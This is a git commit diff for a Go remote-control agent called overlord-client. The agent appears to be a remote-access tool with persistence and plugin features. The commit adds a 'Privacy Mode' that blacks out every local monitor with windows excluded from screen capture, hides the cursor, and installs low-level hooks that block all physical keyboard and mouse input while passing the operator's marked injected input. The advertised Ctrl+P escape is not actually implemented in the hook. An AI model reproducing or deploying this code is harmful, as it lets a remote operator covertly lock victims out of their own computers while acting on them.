privacy selector

This commit is contained in:
KingKDot
2026-07-10 23:44:46 -05:00
parent 43ee5a7d4b
commit 9adcbb24a5
9 changed files with 704 additions and 3 deletions
@@ -22,6 +22,7 @@ import (
"overlord-client/cmd/agent/filesearch" "overlord-client/cmd/agent/filesearch"
"overlord-client/cmd/agent/persistence" "overlord-client/cmd/agent/persistence"
"overlord-client/cmd/agent/plugins" "overlord-client/cmd/agent/plugins"
"overlord-client/cmd/agent/privacy"
"overlord-client/cmd/agent/runtime" "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/securelog" "overlord-client/cmd/agent/securelog"
"overlord-client/cmd/agent/sysinfo" "overlord-client/cmd/agent/sysinfo"
@@ -86,6 +87,8 @@ func resetForReconnect(env *runtime.Env) {
return return
} }
privacy.Stop()
cancelAllCommands() cancelAllCommands()
capture.ResetFrameSlots() capture.ResetFrameSlots()
@@ -693,6 +696,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
env.DesktopCancel = nil env.DesktopCancel = nil
env.DesktopDone = nil env.DesktopDone = nil
env.DesktopMu.Unlock() env.DesktopMu.Unlock()
if privacy.IsEnabled() {
privacy.Stop()
log.Printf("privacy: auto-disabled on desktop stop")
}
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
return nil return nil
case "desktop_select_display": case "desktop_select_display":
@@ -2451,6 +2458,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
} }
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "privacy_start":
payload, _ := envelope["payload"].(map[string]interface{})
_ = handlePrivacyStart(ctx, env, cmdID, payload)
return nil
case "privacy_stop":
_ = handlePrivacyStop(ctx, env, cmdID)
return nil
case "privacy_status":
_ = handlePrivacyStatus(ctx, env, cmdID)
return nil
case "uninstall": case "uninstall":
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
_ = wire.WriteMsg(ctx, env.Conn, res) _ = wire.WriteMsg(ctx, env.Conn, res)
@@ -2572,3 +2589,44 @@ func toInt(v interface{}) int {
} }
return 0 return 0
} }
func handlePrivacyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
if goruntime.GOOS != "windows" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: false,
Message: "privacy mode is only supported on Windows",
})
}
if privacy.IsEnabled() {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
Message: "privacy mode already active",
})
}
if err := privacy.Start(); err != nil {
log.Printf("privacy: start failed: %v", err)
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: false,
Message: err.Error(),
})
}
log.Printf("privacy: mode enabled")
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
})
}
func handlePrivacyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
privacy.Stop()
log.Printf("privacy: mode disabled")
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
})
}
func handlePrivacyStatus(ctx context.Context, env *runtime.Env, cmdID string) error {
enabled := privacy.IsEnabled()
return wire.WriteMsg(ctx, env.Conn, wire.PrivacyStatus{
Type: "privacy_status", Enabled: enabled,
})
}
@@ -5,6 +5,8 @@ package handlers
import ( import (
"syscall" "syscall"
"unsafe" "unsafe"
"overlord-client/cmd/agent/privacy"
) )
var ( var (
@@ -112,7 +114,7 @@ func sendMouseInput(flags uint32, mouseData uint32) {
mi.mouseData = mouseData mi.mouseData = mouseData
mi.dwFlags = flags mi.dwFlags = flags
mi.time = 0 mi.time = 0
mi.dwExtraInfo = 0 mi.dwExtraInfo = inputExtraInfo()
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp)) _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
} }
@@ -152,7 +154,7 @@ func sendMouseMoveAbsolute(x, y int32) bool {
mi.mouseData = 0 mi.mouseData = 0
mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_VIRTUALDESK mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_VIRTUALDESK
mi.time = 0 mi.time = 0
mi.dwExtraInfo = 0 mi.dwExtraInfo = inputExtraInfo()
r, _, _ := procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp)) r, _, _ := procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
return r != 0 return r != 0
} }
@@ -186,7 +188,7 @@ func sendKeyInput(vk uint16, keyUp bool) {
} }
ki.dwFlags = flags ki.dwFlags = flags
ki.time = 0 ki.time = 0
ki.dwExtraInfo = 0 ki.dwExtraInfo = inputExtraInfo()
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp)) _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
} }
@@ -242,6 +244,7 @@ func sendUnicodeRune(r rune) {
ki.wVk = 0 ki.wVk = 0
ki.wScan = uint16(r) ki.wScan = uint16(r)
ki.dwFlags = KEYEVENTF_UNICODE ki.dwFlags = KEYEVENTF_UNICODE
ki.dwExtraInfo = inputExtraInfo()
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp)) _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
var inpUp input var inpUp input
@@ -250,6 +253,7 @@ func sendUnicodeRune(r rune) {
kiUp.wVk = 0 kiUp.wVk = 0
kiUp.wScan = uint16(r) kiUp.wScan = uint16(r)
kiUp.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP kiUp.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP
kiUp.dwExtraInfo = inputExtraInfo()
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inpUp)), unsafe.Sizeof(inpUp)) _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inpUp)), unsafe.Sizeof(inpUp))
} }
@@ -287,3 +291,10 @@ func keyCodeToVK(code string) uint16 {
} }
return 0 return 0
} }
func inputExtraInfo() uintptr {
if privacy.IsEnabled() {
return privacy.InputMarker()
}
return 0
}
@@ -0,0 +1,54 @@
package privacy
import (
"sync"
"sync/atomic"
)
const inputMarker uintptr = 0x00D5E7B00B5
type Manager struct {
mu sync.Mutex
enabled int32
}
var global = &Manager{}
func Get() *Manager { return global }
func (m *Manager) IsEnabled() bool {
return atomic.LoadInt32(&m.enabled) != 0
}
func (m *Manager) Enable() error {
m.mu.Lock()
defer m.mu.Unlock()
if atomic.LoadInt32(&m.enabled) != 0 {
return nil
}
if err := enablePlatform(); err != nil {
atomic.StoreInt32(&m.enabled, 0)
return err
}
atomic.StoreInt32(&m.enabled, 1)
return nil
}
func (m *Manager) Disable() {
m.mu.Lock()
defer m.mu.Unlock()
if atomic.SwapInt32(&m.enabled, 0) == 0 {
return
}
disablePlatform()
}
func Start() error { return Get().Enable() }
func Stop() { Get().Disable() }
func IsEnabled() bool { return Get().IsEnabled() }
func InputMarker() uintptr { return inputMarker }
@@ -0,0 +1,11 @@
//go:build !windows
package privacy
import "errors"
func enablePlatform() error {
return errors.New("privacy mode is only supported on Windows")
}
func disablePlatform() {}
@@ -0,0 +1,530 @@
//go:build windows
package privacy
import (
"log"
"runtime"
"sync"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
const (
WS_EX_TOPMOST = 0x00000008
WS_EX_TOOLWINDOW = 0x00000080
WS_EX_NOACTIVATE = 0x08000000
WS_EX_TRANSPARENT = 0x00000020
WS_EX_LAYERED = 0x00080000
WS_POPUP = 0x80000000
WS_VISIBLE = 0x10000000
WDA_EXCLUDEFROMCAPTURE = 0x00000011
WH_KEYBOARD_LL = 13
WH_MOUSE_LL = 14
WM_QUIT = 0x0012
WM_KEYDOWN = 0x0100
WM_KEYUP = 0x0101
WM_SYSKEYDOWN = 0x0104
WM_SYSKEYUP = 0x0105
LLKHF_INJECTED = 0x00000010
LLMHF_INJECTED = 0x00000001
VK_CONTROL = 0x11
VK_P = 0x50
VK_LCONTROL = 0xA2
VK_RCONTROL = 0xA3
SW_HIDE = 0
SW_SHOW = 5
SWP_NOSIZE = 0x0001
SWP_NOMOVE = 0x0002
SWP_NOACTIVATE = 0x0010
SWP_SHOWWINDOW = 0x0040
LWA_ALPHA = 0x00000002
SM_XVIRTUALSCREEN = 76
SM_YVIRTUALSCREEN = 77
SM_CXVIRTUALSCREEN = 78
SM_CYVIRTUALSCREEN = 79
)
var (
user32 = syscall.NewLazyDLL("user32.dll")
procCreateWindowExW = user32.NewProc("CreateWindowExW")
procDefWindowProcW = user32.NewProc("DefWindowProcW")
procDestroyWindow = user32.NewProc("DestroyWindow")
procGetMessageW = user32.NewProc("GetMessageW")
procTranslateMessage = user32.NewProc("TranslateMessage")
procDispatchMessageW = user32.NewProc("DispatchMessageW")
procPostThreadMessageW = user32.NewProc("PostThreadMessageW")
procRegisterClassExW = user32.NewProc("RegisterClassExW")
procSetWindowDisplayAffinity = user32.NewProc("SetWindowDisplayAffinity")
procSetWindowsHookExW = user32.NewProc("SetWindowsHookExW")
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
procCallNextHookEx = user32.NewProc("CallNextHookEx")
procShowWindow = user32.NewProc("ShowWindow")
procUpdateWindow = user32.NewProc("UpdateWindow")
procSetWindowPos = user32.NewProc("SetWindowPos")
procSetLayeredWindowAttributes = user32.NewProc("SetLayeredWindowAttributes")
procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
procShowCursor = user32.NewProc("ShowCursor")
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW")
procGetCurrentThreadID = kernel32.NewProc("GetCurrentThreadId")
gdi32 = syscall.NewLazyDLL("gdi32.dll")
procCreateSolidBrush = gdi32.NewProc("CreateSolidBrush")
keyboardHook uintptr
mouseHook uintptr
privacyWindows []windows.HWND
privacyWindowsMu sync.Mutex
platformMu sync.Mutex
platform *platformState
cursorHideOps int
ctrlPressed bool
)
type platformState struct {
ready chan error
done chan struct{}
threadID uint32
}
type wndClassExW struct {
cbSize uint32
style uint32
lpfnWndProc uintptr
cbClsExtra int32
cbWndExtra int32
hInstance windows.Handle
hIcon windows.Handle
hCursor windows.Handle
hbrBackground windows.Handle
lpszMenuName *uint16
lpszClassName *uint16
hIconSm windows.Handle
}
type point struct {
x int32
y int32
}
type msg struct {
hwnd windows.HWND
message uint32
wParam uintptr
lParam uintptr
time uint32
pt point
}
type kbdllhookstruct struct {
vkCode uint32
scanCode uint32
flags uint32
time uint32
dwExtraInfo uintptr
}
type msllhookstruct struct {
pt point
mouseData uint32
flags uint32
time uint32
dwExtraInfo uintptr
}
func enablePlatform() error {
platformMu.Lock()
if platform != nil {
platformMu.Unlock()
return nil
}
st := &platformState{
ready: make(chan error, 1),
done: make(chan struct{}),
}
platform = st
go runPlatformThread(st)
platformMu.Unlock()
if err := <-st.ready; err != nil {
platformMu.Lock()
if platform == st {
platform = nil
}
platformMu.Unlock()
return err
}
return nil
}
func disablePlatform() {
platformMu.Lock()
st := platform
platform = nil
platformMu.Unlock()
if st == nil {
return
}
if st.threadID != 0 {
procPostThreadMessageW.Call(uintptr(st.threadID), WM_QUIT, 0, 0)
}
<-st.done
}
func runPlatformThread(st *platformState) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
defer close(st.done)
st.threadID = currentThreadID()
if err := createPrivacyWindows(); err != nil {
st.ready <- err
return
}
if err := installInputHooks(); err != nil {
destroyPrivacyWindows()
st.ready <- err
return
}
hideCursor()
st.ready <- nil
messagePump()
restoreCursor()
uninstallInputHooks()
destroyPrivacyWindows()
}
func currentThreadID() uint32 {
ret, _, _ := procGetCurrentThreadID.Call()
return uint32(ret)
}
func createPrivacyWindows() error {
className, err := syscall.UTF16PtrFromString("OverlordPrivacyWindow")
if err != nil {
return err
}
hInstance := getModuleHandle()
brush, _, _ := procCreateSolidBrush.Call(0x00000000)
wndClass := wndClassExW{
cbSize: uint32(unsafe.Sizeof(wndClassExW{})),
style: 0,
lpfnWndProc: syscall.NewCallback(defWindowProcCallback),
hInstance: windows.Handle(hInstance),
hCursor: 0,
hbrBackground: windows.Handle(brush),
lpszClassName: className,
}
ret, _, _ := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wndClass)))
if ret == 0 {
if err := syscall.GetLastError(); err != windows.ERROR_CLASS_ALREADY_EXISTS {
return err
}
}
monitors := enumerateMonitors()
if len(monitors) == 0 {
left := getSystemMetric(SM_XVIRTUALSCREEN)
top := getSystemMetric(SM_YVIRTUALSCREEN)
width := getSystemMetric(SM_CXVIRTUALSCREEN)
height := getSystemMetric(SM_CYVIRTUALSCREEN)
if width > 0 && height > 0 {
monitors = append(monitors, monitorRect{
left: left,
top: top,
right: left + width,
bottom: top + height,
})
}
}
for _, mon := range monitors {
hwnd, _, _ := procCreateWindowExW.Call(
uintptr(WS_EX_TOPMOST|WS_EX_TOOLWINDOW|WS_EX_NOACTIVATE|WS_EX_TRANSPARENT|WS_EX_LAYERED),
uintptr(unsafe.Pointer(className)),
0,
uintptr(WS_POPUP|WS_VISIBLE),
uintptr(mon.left),
uintptr(mon.top),
uintptr(mon.right-mon.left),
uintptr(mon.bottom-mon.top),
0, 0, uintptr(hInstance), 0,
)
if hwnd == 0 {
log.Printf("privacy: failed to create window for monitor [%d %d %d %d]: %v",
mon.left, mon.top, mon.right, mon.bottom, syscall.GetLastError())
continue
}
procSetWindowDisplayAffinity.Call(hwnd, uintptr(WDA_EXCLUDEFROMCAPTURE))
procSetLayeredWindowAttributes.Call(hwnd, 0, 255, uintptr(LWA_ALPHA))
procSetWindowPos.Call(
hwnd,
^uintptr(0),
uintptr(mon.left),
uintptr(mon.top),
uintptr(mon.right-mon.left),
uintptr(mon.bottom-mon.top),
uintptr(SWP_NOACTIVATE|SWP_SHOWWINDOW),
)
procShowWindow.Call(hwnd, SW_SHOW)
procUpdateWindow.Call(hwnd)
privacyWindowsMu.Lock()
privacyWindows = append(privacyWindows, windows.HWND(hwnd))
privacyWindowsMu.Unlock()
}
if len(privacyWindows) == 0 {
return syscall.GetLastError()
}
log.Printf("privacy: created %d privacy window(s)", len(privacyWindows))
return nil
}
func getSystemMetric(index int32) int32 {
ret, _, _ := procGetSystemMetrics.Call(uintptr(index))
return int32(ret)
}
func hideCursor() {
cursorHideOps = 0
for {
count := showCursor(false)
cursorHideOps++
if count < 0 || cursorHideOps > 32 {
break
}
}
}
func restoreCursor() {
for i := 0; i < cursorHideOps; i++ {
showCursor(true)
}
cursorHideOps = 0
}
func showCursor(show bool) int32 {
arg := uintptr(0)
if show {
arg = 1
}
ret, _, _ := procShowCursor.Call(arg)
return int32(ret)
}
func destroyPrivacyWindows() {
privacyWindowsMu.Lock()
windows := privacyWindows
privacyWindows = nil
privacyWindowsMu.Unlock()
for _, hwnd := range windows {
procShowWindow.Call(uintptr(hwnd), SW_HIDE)
procDestroyWindow.Call(uintptr(hwnd))
}
log.Printf("privacy: destroyed %d privacy window(s)", len(windows))
}
type monitorRect struct {
left, top, right, bottom int32
}
func enumerateMonitors() []monitorRect {
var monitors []monitorRect
var mu sync.Mutex
cb := syscall.NewCallback(func(hMonitor, hdc, lprcMonitor, lparam uintptr) uintptr {
rc := (*rect)(unsafe.Pointer(lprcMonitor))
mu.Lock()
monitors = append(monitors, monitorRect{
left: rc.left,
top: rc.top,
right: rc.right,
bottom: rc.bottom,
})
mu.Unlock()
return 1
})
procEnumDisplayMonitors.Call(0, 0, cb, 0)
return monitors
}
type rect struct {
left int32
top int32
right int32
bottom int32
}
func defWindowProcCallback(hwnd windows.HWND, msg uint32, wParam uintptr, lParam uintptr) uintptr {
ret, _, _ := procDefWindowProcW.Call(uintptr(hwnd), uintptr(msg), wParam, lParam)
return ret
}
func getModuleHandle() windows.Handle {
ret, _, _ := procGetModuleHandleW.Call(0)
return windows.Handle(ret)
}
func installInputHooks() error {
hInstance := getModuleHandle()
kbCb := syscall.NewCallback(keyboardHookProc)
kh, _, err := procSetWindowsHookExW.Call(
uintptr(WH_KEYBOARD_LL),
kbCb,
uintptr(hInstance),
0,
)
if kh == 0 {
return err
}
keyboardHook = kh
mCb := syscall.NewCallback(mouseHookProc)
mh, _, err := procSetWindowsHookExW.Call(
uintptr(WH_MOUSE_LL),
mCb,
uintptr(hInstance),
0,
)
if mh == 0 {
procUnhookWindowsHookEx.Call(keyboardHook)
keyboardHook = 0
return err
}
mouseHook = mh
log.Printf("privacy: input hooks installed (kb=%d mouse=%d)", keyboardHook, mouseHook)
return nil
}
func uninstallInputHooks() {
if keyboardHook != 0 {
procUnhookWindowsHookEx.Call(keyboardHook)
keyboardHook = 0
}
if mouseHook != 0 {
procUnhookWindowsHookEx.Call(mouseHook)
mouseHook = 0
}
log.Printf("privacy: input hooks removed")
}
func keyboardHookProc(nCode int, wParam uintptr, lParam uintptr) uintptr {
if nCode < 0 {
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
return ret
}
m := Get()
if !m.IsEnabled() {
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
return ret
}
kb := (*kbdllhookstruct)(unsafe.Pointer(lParam))
if kb.dwExtraInfo == InputMarker() {
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
return ret
}
if kb.flags&LLKHF_INJECTED != 0 {
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
return ret
}
switch kb.vkCode {
case VK_CONTROL, VK_LCONTROL, VK_RCONTROL:
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
ctrlPressed = true
} else {
ctrlPressed = false
}
return 1
}
return 1
}
func mouseHookProc(nCode int, wParam uintptr, lParam uintptr) uintptr {
if nCode < 0 {
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
return ret
}
if !Get().IsEnabled() {
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
return ret
}
ms := (*msllhookstruct)(unsafe.Pointer(lParam))
if ms.dwExtraInfo == InputMarker() {
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
return ret
}
if ms.flags&LLMHF_INJECTED != 0 {
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
return ret
}
return 1
}
func messagePump() {
log.Printf("privacy: message pump starting")
var m msg
for {
ret, _, _ := procGetMessageW.Call(
uintptr(unsafe.Pointer(&m)),
0, 0, 0,
)
if ret == 0 || ret == ^uintptr(0) {
break
}
procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
}
log.Printf("privacy: message pump stopped")
}
@@ -441,3 +441,8 @@ type WebRTCP2PIce struct {
SDPMid string `msgpack:"sdpMid"` SDPMid string `msgpack:"sdpMid"`
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"` SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
} }
type PrivacyStatus struct {
Type string `msgpack:"type"`
Enabled bool `msgpack:"enabled"`
}
@@ -80,6 +80,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
const inputLatency = document.getElementById("inputLatency"); const inputLatency = document.getElementById("inputLatency");
const statusEl = document.getElementById("streamStatus"); const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl"); const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
const privacyCtrl = document.getElementById("privacyCtrl");
const audioCtrl = document.getElementById("audioCtrl"); const audioCtrl = document.getElementById("audioCtrl");
const webrtcMode = document.getElementById("webrtcMode"); const webrtcMode = document.getElementById("webrtcMode");
const webrtcVideo = document.getElementById("webrtcVideo"); const webrtcVideo = document.getElementById("webrtcVideo");
@@ -427,6 +428,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
duplication: !!duplicationCtrl?.checked, duplication: !!duplicationCtrl?.checked,
softwareH264: !!softwareH264Ctrl?.checked, softwareH264: !!softwareH264Ctrl?.checked,
clipboardSync: !!clipboardSyncCtrl?.checked, clipboardSync: !!clipboardSyncCtrl?.checked,
privacy: !!privacyCtrl?.checked,
audio: !!audioCtrl?.checked, audio: !!audioCtrl?.checked,
audioTransport: getAudioTransport(), audioTransport: getAudioTransport(),
smoothing: Number(smoothingSlider?.value || 20), smoothing: Number(smoothingSlider?.value || 20),
@@ -802,6 +804,13 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
}); });
} }
if (privacyCtrl) {
privacyCtrl.addEventListener("change", function () {
pushPrivacyToggle();
sharedSettingsSaver.scheduleSave();
});
}
function updateLatency(ms) { function updateLatency(ms) {
if (ms < 0 || !Number.isFinite(ms)) return; if (ms < 0 || !Number.isFinite(ms)) return;
latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2; latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2;
@@ -1387,6 +1396,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
desiredStreaming = false; desiredStreaming = false;
lastFrameAt = 0; lastFrameAt = 0;
setStreamState("stopping", "Stopping stream"); setStreamState("stopping", "Stopping stream");
disablePrivacyIfActive();
sendCmd("desktop_stop", {}); sendCmd("desktop_stop", {});
disconnectAudio(); disconnectAudio();
stopAllWebrtc(); stopAllWebrtc();
@@ -1435,6 +1445,18 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
} }
} }
function pushPrivacyToggle() {
if (!privacyCtrl) return;
sendCmd(privacyCtrl.checked ? "privacy_start" : "privacy_stop", {});
}
function disablePrivacyIfActive() {
if (privacyCtrl && privacyCtrl.checked) {
privacyCtrl.checked = false;
sendCmd("privacy_stop", {});
}
}
mouseCtrl.addEventListener("change", function () { mouseCtrl.addEventListener("change", function () {
pushInputToggles(); pushInputToggles();
sharedSettingsSaver.scheduleSave(); sharedSettingsSaver.scheduleSave();
@@ -2153,6 +2175,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
function stopOnExit() { function stopOnExit() {
sharedSettingsSaver.saveNow(); sharedSettingsSaver.saveNow();
if (isRecording()) stopRecording(); if (isRecording()) stopRecording();
disablePrivacyIfActive();
if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) { if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
desiredStreaming = false; desiredStreaming = false;
sendCmd("desktop_stop", {}); sendCmd("desktop_stop", {});
@@ -239,6 +239,9 @@
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Sync clipboard between your browser and the remote machine"> <label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Sync clipboard between your browser and the remote machine">
<input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync <input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync
</label> </label>
<label class="flex items-center gap-2 text-sm text-red-400 col-span-2" title="Blacks out local screen and blocks physical input. Remote view remains unaffected. Local escape: Ctrl+P">
<input type="checkbox" id="privacyCtrl" /> Privacy Mode
</label>
</div> </div>
<div class="flex items-center gap-2" title="Smooths mouse input for steadier movement"> <div class="flex items-center gap-2" title="Smooths mouse input for steadier movement">
<label class="text-sm text-slate-300 w-20" for="smoothingSlider">Smoothing</label> <label class="text-sm text-slate-300 w-20" for="smoothingSlider">Smoothing</label>
@@ -571,6 +571,12 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
} }
break; break;
} }
case "privacy_start":
sendDesktopCommand(target, "privacy_start", {});
break;
case "privacy_stop":
sendDesktopCommand(target, "privacy_stop", {});
break;
case "mouse_move": { case "mouse_move": {
if (!state.isStreaming) break; if (!state.isStreaming) break;
const rawX = (payload as any).x; const rawX = (payload as any).x;